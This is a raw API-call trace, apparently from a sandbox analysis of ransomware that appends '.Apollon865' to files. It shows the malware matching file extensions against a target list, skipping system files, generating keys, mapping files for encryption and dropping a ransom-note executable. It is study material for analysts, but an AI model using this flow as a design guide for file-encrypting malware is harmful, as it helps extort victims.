	[0053.801] lstrcmpiW (lpString1="IST", lpString2="ns3") returned -1
	[0053.801] lstrlenW (lpString="ns4") returned 3
	[0053.801] lstrcmpiW (lpString1="IST", lpString2="ns4") returned -1
	[0053.801] lstrlenW (lpString="nsf") returned 3
	[0053.801] lstrcmpiW (lpString1="IST", lpString2="nsf") returned -1
	[0053.801] lstrlenW (lpString="nv") returned 2
	[0053.801] lstrcmpiW (lpString1="ST", lpString2="nv") returned 1
	[0053.801] lstrlenW (lpString="nv2") returned 3
	[0053.801] lstrcmpiW (lpString1="IST", lpString2="nv2") returned -1
	[0053.801] lstrlenW (lpString="nwdb") returned 4
	[0053.801] lstrcmpiW (lpString1="HIST", lpString2="nwdb") returned -1
	[0053.801] lstrlenW (lpString="nyf") returned 3
	[0053.802] lstrcmpiW (lpString1="IST", lpString2="nyf") returned -1
	[0053.802] lstrlenW (lpString="odb") returned 3
	[0053.802] lstrcmpiW (lpString1="IST", lpString2="odb") returned -1
	[0053.802] lstrlenW (lpString="odb") returned 3
	[0053.802] lstrcmpiW (lpString1="IST", lpString2="odb") returned -1
	[0053.802] lstrlenW (lpString="oqy") returned 3
	[0053.802] lstrcmpiW (lpString1="IST", lpString2="oqy") returned -1
	[0053.802] lstrlenW (lpString="ora") returned 3
	[0053.802] lstrcmpiW (lpString1="IST", lpString2="ora") returned -1
	[0053.802] lstrlenW (lpString="orx") returned 3
	[0053.802] lstrcmpiW (lpString1="IST", lpString2="orx") returned -1
	[0053.802] lstrlenW (lpString="owc") returned 3
	[0053.802] lstrcmpiW (lpString1="IST", lpString2="owc") returned -1
	[0053.802] lstrlenW (lpString="p96") returned 3
	[0053.802] lstrcmpiW (lpString1="IST", lpString2="p96") returned -1
	[0053.802] lstrlenW (lpString="p97") returned 3
	[0053.802] lstrcmpiW (lpString1="IST", lpString2="p97") returned -1
	[0053.802] lstrlenW (lpString="pan") returned 3
	[0053.802] lstrcmpiW (lpString1="IST", lpString2="pan") returned -1
	[0053.802] lstrlenW (lpString="pdb") returned 3
	[0053.802] lstrcmpiW (lpString1="IST", lpString2="pdb") returned -1
	[0053.802] lstrlenW (lpString="pdm") returned 3
	[0053.802] lstrcmpiW (lpString1="IST", lpString2="pdm") returned -1
	[0053.802] lstrlenW (lpString="pnz") returned 3
	[0053.802] lstrcmpiW (lpString1="IST", lpString2="pnz") returned -1
	[0053.802] lstrlenW (lpString="qry") returned 3
	[0053.802] lstrcmpiW (lpString1="IST", lpString2="qry") returned -1
	[0053.802] lstrlenW (lpString="qvd") returned 3
	[0053.802] lstrcmpiW (lpString1="IST", lpString2="qvd") returned -1
	[0053.802] lstrlenW (lpString="rbf") returned 3
	[0053.802] lstrcmpiW (lpString1="IST", lpString2="rbf") returned -1
	[0053.802] lstrlenW (lpString="rctd") returned 4
	[0053.802] lstrcmpiW (lpString1="HIST", lpString2="rctd") returned -1
	[0053.802] lstrlenW (lpString="rod") returned 3
	[0053.802] lstrcmpiW (lpString1="IST", lpString2="rod") returned -1
	[0053.802] lstrlenW (lpString="rodx") returned 4
	[0053.803] lstrcmpiW (lpString1="HIST", lpString2="rodx") returned -1
	[0053.803] lstrlenW (lpString="rpd") returned 3
	[0053.803] lstrcmpiW (lpString1="IST", lpString2="rpd") returned -1
	[0053.803] lstrlenW (lpString="rsd") returned 3
	[0053.803] lstrcmpiW (lpString1="IST", lpString2="rsd") returned -1
	[0053.803] lstrlenW (lpString="sas7bdat") returned 8
	[0053.803] lstrlenW (lpString="sbf") returned 3
	[0053.803] lstrcmpiW (lpString1="IST", lpString2="sbf") returned -1
	[0053.803] lstrlenW (lpString="scx") returned 3
	[0053.803] lstrcmpiW (lpString1="IST", lpString2="scx") returned -1
	[0053.803] lstrlenW (lpString="sdb") returned 3
	[0053.803] lstrcmpiW (lpString1="IST", lpString2="sdb") returned -1
	[0053.803] lstrlenW (lpString="sdc") returned 3
	[0053.803] lstrcmpiW (lpString1="IST", lpString2="sdc") returned -1
	[0053.803] lstrlenW (lpString="sdf") returned 3
	[0053.803] lstrcmpiW (lpString1="IST", lpString2="sdf") returned -1
	[0053.803] lstrlenW (lpString="sis") returned 3
	[0053.803] lstrcmpiW (lpString1="IST", lpString2="sis") returned -1
	[0053.803] lstrlenW (lpString="spq") returned 3
	[0053.803] lstrcmpiW (lpString1="IST", lpString2="spq") returned -1
	[0053.803] lstrlenW (lpString="te") returned 2
	[0053.803] lstrcmpiW (lpString1="ST", lpString2="te") returned -1
	[0053.803] lstrlenW (lpString="teacher") returned 7
	[0053.803] lstrcmpiW (lpString1="REDHIST", lpString2="teacher") returned -1
	[0053.803] lstrlenW (lpString="tmd") returned 3
	[0053.803] lstrcmpiW (lpString1="IST", lpString2="tmd") returned -1
	[0053.803] lstrlenW (lpString="tps") returned 3
	[0053.803] lstrcmpiW (lpString1="IST", lpString2="tps") returned -1
	[0053.803] lstrlenW (lpString="trc") returned 3
	[0053.803] lstrcmpiW (lpString1="IST", lpString2="trc") returned -1
	[0053.803] lstrlenW (lpString="trc") returned 3
	[0053.803] lstrcmpiW (lpString1="IST", lpString2="trc") returned -1
	[0053.803] lstrlenW (lpString="trm") returned 3
	[0053.803] lstrcmpiW (lpString1="IST", lpString2="trm") returned -1
	[0053.803] lstrlenW (lpString="udb") returned 3
	[0053.803] lstrcmpiW (lpString1="IST", lpString2="udb") returned -1
	[0053.804] lstrlenW (lpString="udl") returned 3
	[0053.804] lstrcmpiW (lpString1="IST", lpString2="udl") returned -1
	[0053.804] lstrlenW (lpString="usr") returned 3
	[0053.804] lstrcmpiW (lpString1="IST", lpString2="usr") returned -1
	[0053.804] lstrlenW (lpString="v12") returned 3
	[0053.804] lstrcmpiW (lpString1="IST", lpString2="v12") returned -1
	[0053.804] lstrlenW (lpString="vis") returned 3
	[0053.804] lstrcmpiW (lpString1="IST", lpString2="vis") returned -1
	[0053.804] lstrlenW (lpString="vpd") returned 3
	[0053.804] lstrcmpiW (lpString1="IST", lpString2="vpd") returned -1
	[0053.804] lstrlenW (lpString="vvv") returned 3
	[0053.804] lstrcmpiW (lpString1="IST", lpString2="vvv") returned -1
	[0053.804] lstrlenW (lpString="wdb") returned 3
	[0053.804] lstrcmpiW (lpString1="IST", lpString2="wdb") returned -1
	[0053.804] lstrlenW (lpString="wmdb") returned 4
	[0053.804] lstrcmpiW (lpString1="HIST", lpString2="wmdb") returned -1
	[0053.804] lstrlenW (lpString="wrk") returned 3
	[0053.804] lstrcmpiW (lpString1="IST", lpString2="wrk") returned -1
	[0053.804] lstrlenW (lpString="xdb") returned 3
	[0053.804] lstrcmpiW (lpString1="IST", lpString2="xdb") returned -1
	[0053.804] lstrlenW (lpString="xld") returned 3
	[0053.804] lstrcmpiW (lpString1="IST", lpString2="xld") returned -1
	[0053.804] lstrlenW (lpString="xmlff") returned 5
	[0053.804] lstrcmpiW (lpString1="DHIST", lpString2="xmlff") returned -1
	[0053.804] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.Apollon865") returned 70
	[0053.804] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\credhist"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\credhist.apollon865"), dwFlags=0x1) returned 1
	[0053.848] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\credhist.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0053.848] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=24) returned 1
	[0053.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0053.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0053.849] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0053.850] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.850] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0053.850] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x320, lpName=0x0) returned 0x154
	[0053.858] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x320) returned 0x120000
	[0053.866] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
	[0053.867] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.867] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0053.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0053.867] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0053.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.867] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0053.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0053.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.868] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0053.868] CloseHandle (hObject=0x154) returned 1
	[0053.868] CloseHandle (hObject=0xc0) returned 1
	[0053.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0053.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0053.868] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0053.868] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e4aa8d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e4aa8d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.868] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.868] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e4f6b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e4f6b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 1
	[0053.868] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.868] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="Apollon865.txt.exe") returned 1
	[0053.868] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2=".") returned 1
	[0053.868] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="..") returned 1
	[0053.868] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="windows") returned -1
	[0053.869] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="bootmgr") returned 1
	[0053.869] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="temp") returned -1
	[0053.869] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="pagefile.sys") returned 1
	[0053.869] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="boot") returned 1
	[0053.869] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="ids.txt") returned 1
	[0053.869] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="ntuser.dat") returned 1
	[0053.869] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="perflogs") returned 1
	[0053.869] lstrcmpiW (lpString1="S-1-5-21-3111613574-2524581245-2586426736-500", lpString2="MSBuild") returned 1
	[0053.869] lstrlenW (lpString="S-1-5-21-3111613574-2524581245-2586426736-500") returned 45
	[0053.869] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned 59
	[0053.869] lstrcpyW (in: lpString1=0x119e66e, lpString2="S-1-5-21-3111613574-2524581245-2586426736-500" | out: lpString1="S-1-5-21-3111613574-2524581245-2586426736-500") returned="S-1-5-21-3111613574-2524581245-2586426736-500"
	[0053.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0053.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x5995a0
	[0053.869] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b90 | out: ListHead=0x5b75f0, ListEntry=0x5b7b90) returned 0x5b7b70
	[0053.869] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e4f6b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e4f6b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 0
	[0053.869] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0053.869] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b90
	[0053.869] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500"
	[0053.869] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995a0 | out: hHeap=0x580000) returned 1
	[0053.869] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0053.869] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500") returned 96
	[0053.869] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500"
	[0053.869] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.869] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.870] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0053.870] GetLastError () returned 0x0
	[0053.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.870] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.870] CloseHandle (hObject=0x14c) returned 1
	[0053.870] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.870] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.870] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e4f6b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e4f6b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0053.870] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.870] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.870] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.870] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e4f6b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e4f6b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.870] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.870] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.871] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.871] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.871] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2b9bd87, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", cAlternateFileName="BE5B4F~1")) returned 1
	[0053.871] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.871] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="Apollon865.txt.exe") returned 1
	[0053.871] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2=".") returned 1
	[0053.871] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="..") returned 1
	[0053.871] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="windows") returned -1
	[0053.871] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="bootmgr") returned -1
	[0053.871] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="temp") returned -1
	[0053.871] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="pagefile.sys") returned -1
	[0053.871] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="boot") returned -1
	[0053.871] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="ids.txt") returned -1
	[0053.871] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="ntuser.dat") returned -1
	[0053.871] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="perflogs") returned -1
	[0053.871] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2="MSBuild") returned -1
	[0053.871] lstrlenW (lpString="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned 36
	[0053.871] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*") returned 98
	[0053.871] lstrcpyW (in: lpString1=0x119e6ca, lpString2="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9" | out: lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9"
	[0053.871] lstrlenW (lpString="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned 36
	[0053.871] lstrlenW (lpString="Apollon865") returned 10
	[0053.871] lstrcmpiW (lpString1="896dd3a6b9", lpString2="Apollon865") returned -1
	[0053.871] lstrlenW (lpString=".dll") returned 4
	[0053.871] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2=".dll") returned 1
	[0053.871] lstrlenW (lpString=".lnk") returned 4
	[0053.871] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2=".lnk") returned 1
	[0053.871] lstrlenW (lpString=".ini") returned 4
	[0053.871] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2=".ini") returned 1
	[0053.871] lstrlenW (lpString=".sys") returned 4
	[0053.871] lstrcmpiW (lpString1="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpString2=".sys") returned 1
	[0053.871] lstrlenW (lpString="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned 36
	[0053.871] lstrlenW (lpString="bak") returned 3
	[0053.871] lstrcmpiW (lpString1="6b9", lpString2="bak") returned -1
	[0053.871] lstrlenW (lpString="ba_") returned 3
	[0053.871] lstrcmpiW (lpString1="6b9", lpString2="ba_") returned -1
	[0053.872] lstrlenW (lpString="dbb") returned 3
	[0053.872] lstrcmpiW (lpString1="6b9", lpString2="dbb") returned -1
	[0053.872] lstrlenW (lpString="vmdk") returned 4
	[0053.872] lstrcmpiW (lpString1="a6b9", lpString2="vmdk") returned -1
	[0053.872] lstrlenW (lpString="rar") returned 3
	[0053.872] lstrcmpiW (lpString1="6b9", lpString2="rar") returned -1
	[0053.872] lstrlenW (lpString="zip") returned 3
	[0053.872] lstrcmpiW (lpString1="6b9", lpString2="zip") returned -1
	[0053.872] lstrlenW (lpString="tgz") returned 3
	[0053.872] lstrcmpiW (lpString1="6b9", lpString2="tgz") returned -1
	[0053.872] lstrlenW (lpString="vbox") returned 4
	[0053.872] lstrcmpiW (lpString1="a6b9", lpString2="vbox") returned -1
	[0053.872] lstrlenW (lpString="vdi") returned 3
	[0053.872] lstrcmpiW (lpString1="6b9", lpString2="vdi") returned -1
	[0053.872] lstrlenW (lpString="vhd") returned 3
	[0053.872] lstrcmpiW (lpString1="6b9", lpString2="vhd") returned -1
	[0053.872] lstrlenW (lpString="vhdx") returned 4
	[0053.872] lstrcmpiW (lpString1="a6b9", lpString2="vhdx") returned -1
	[0053.872] lstrlenW (lpString="avhd") returned 4
	[0053.872] lstrcmpiW (lpString1="a6b9", lpString2="avhd") returned -1
	[0053.872] lstrlenW (lpString="db") returned 2
	[0053.872] lstrcmpiW (lpString1="b9", lpString2="db") returned -1
	[0053.872] lstrlenW (lpString="db2") returned 3
	[0053.872] lstrcmpiW (lpString1="6b9", lpString2="db2") returned -1
	[0053.872] lstrlenW (lpString="db3") returned 3
	[0053.872] lstrcmpiW (lpString1="6b9", lpString2="db3") returned -1
	[0053.872] lstrlenW (lpString="dbf") returned 3
	[0053.872] lstrcmpiW (lpString1="6b9", lpString2="dbf") returned -1
	[0053.872] lstrlenW (lpString="mdf") returned 3
	[0053.872] lstrcmpiW (lpString1="6b9", lpString2="mdf") returned -1
	[0053.872] lstrlenW (lpString="mdb") returned 3
	[0053.872] lstrcmpiW (lpString1="6b9", lpString2="mdb") returned -1
	[0053.872] lstrlenW (lpString="sql") returned 3
	[0053.872] lstrcmpiW (lpString1="6b9", lpString2="sql") returned -1
	[0053.872] lstrlenW (lpString="sqlite") returned 6
	[0053.872] lstrcmpiW (lpString1="d3a6b9", lpString2="sqlite") returned -1
	[0053.873] lstrlenW (lpString="sqlite3") returned 7
	[0053.873] lstrcmpiW (lpString1="dd3a6b9", lpString2="sqlite3") returned -1
	[0053.873] lstrlenW (lpString="sqlitedb") returned 8
	[0053.873] lstrcmpiW (lpString1="6dd3a6b9", lpString2="sqlitedb") returned -1
	[0053.873] lstrlenW (lpString="xml") returned 3
	[0053.873] lstrcmpiW (lpString1="6b9", lpString2="xml") returned -1
	[0053.873] lstrlenW (lpString="$er") returned 3
	[0053.873] lstrcmpiW (lpString1="6b9", lpString2="$er") returned 1
	[0053.873] lstrlenW (lpString="4dd") returned 3
	[0053.873] lstrcmpiW (lpString1="6b9", lpString2="4dd") returned 1
	[0053.873] lstrlenW (lpString="4dl") returned 3
	[0053.873] lstrcmpiW (lpString1="6b9", lpString2="4dl") returned 1
	[0053.873] lstrlenW (lpString="^^^") returned 3
	[0053.873] lstrcmpiW (lpString1="6b9", lpString2="^^^") returned 1
	[0053.873] lstrlenW (lpString="abs") returned 3
	[0053.873] lstrcmpiW (lpString1="6b9", lpString2="abs") returned -1
	[0053.873] lstrlenW (lpString="abx") returned 3
	[0053.873] lstrcmpiW (lpString1="6b9", lpString2="abx") returned -1
	[0053.873] lstrlenW (lpString="accdb") returned 5
	[0053.873] lstrcmpiW (lpString1="3a6b9", lpString2="accdb") returned -1
	[0053.873] lstrlenW (lpString="accdc") returned 5
	[0053.873] lstrcmpiW (lpString1="3a6b9", lpString2="accdc") returned -1
	[0053.873] lstrlenW (lpString="accde") returned 5
	[0053.873] lstrcmpiW (lpString1="3a6b9", lpString2="accde") returned -1
